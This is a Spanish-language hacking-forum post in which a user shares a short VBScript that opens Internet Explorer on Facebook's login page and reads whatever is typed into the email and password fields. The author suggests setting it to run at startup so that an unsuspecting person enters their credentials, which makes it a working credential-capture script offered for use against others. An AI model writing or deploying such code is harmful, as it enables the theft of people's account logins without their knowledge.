[Aporte] Obtener Nombre De Usuario y Contraseña De Facebook Con Un Simple script

  • 0 Respuestas
  • 3890 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Flamer

  • *
  • Underc0der
  • Mensajes: 30
  • Actividad:
    0%
  • Country: 00
  • Reputación 2
    • Ver Perfil
    • http://elblogdeflamer.blogspot.mx/
Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

Código: (vb) [Seleccionar]
Set objShell = CreateObject("WScript.Shell")
set IE = CreateObject("InternetExplorer.Application")

IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p

pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript